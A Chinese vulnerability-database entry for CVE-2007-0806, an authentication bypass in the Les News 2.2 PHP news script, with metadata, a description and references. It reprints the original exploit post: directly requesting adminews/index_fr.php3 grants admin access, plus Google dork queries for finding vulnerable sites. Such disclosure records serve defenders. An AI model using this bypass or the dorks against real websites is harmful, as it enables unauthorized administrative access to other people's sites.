Les News 权限绕过漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1191811 漏洞类型 未知
发布时间 2007-02-07 更新时间 2007-02-07
CVE编号 CVE-2007-0806 CNNVD-ID CNNVD-200702-108
漏洞平台 N/A CVSS评分 7.5
|漏洞来源
https://www.securityfocus.com/bid/86595
https://cxsecurity.com/issue/WLB-2007020030
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200702-108
|漏洞详情
LesNews2.2版本允许远程攻击者可以借助对adminews/index_fr.php3的一个直接请求与对其他定位的adminews指示文件,绕过权限并获得管理访问权。
|漏洞EXP
* Les News v2.2 [Admin news without password]

* By : sn0oPy

* Risk : verry high

* site : http://stombi.free.fr/

* exploit :

add to the /lesnews/ rep adminews/index_fr.php3

exemple :

http://www.test.ma/lesnews/lesnews_fr.php3
http://www.test.ma/lesnews/adminews/index_fr.php3

Dork :

inurl:"/lesnews/lesnews_fr.php3"
inurl:"/lesnews/lesnews_en.php3"
inurl:"/lesnews/lesnews_de.php3"
inurl:"/lesnews/lesnews_it.php3"

* contact : sn0oPy (at) avenir-geopolitique (dot) net [email concealed]

* greetz : [subzero], http://forums.avenir-geopolitique.net.

reference : http://forums.avenir-geopolitique.net/viewtopic.php?t=2622
|受影响的产品
Les News Les News 2.2
|参考资料

来源:BUGTRAQ
名称:20070204LesNewsv2.2[Adminnewswithoutpassword]
链接:http://www.securityfocus.com/archive/1/archive/1/459186/100/0/threaded
来源:OSVDB
名称:33686
链接:http://osvdb.org/33686
来源:MISC
链接:http://forums.avenir-geopolitique.net/viewtopic.php?t=2622
来源:SREASON
名称:2226
链接:http://securityreason.com/securityalert/2226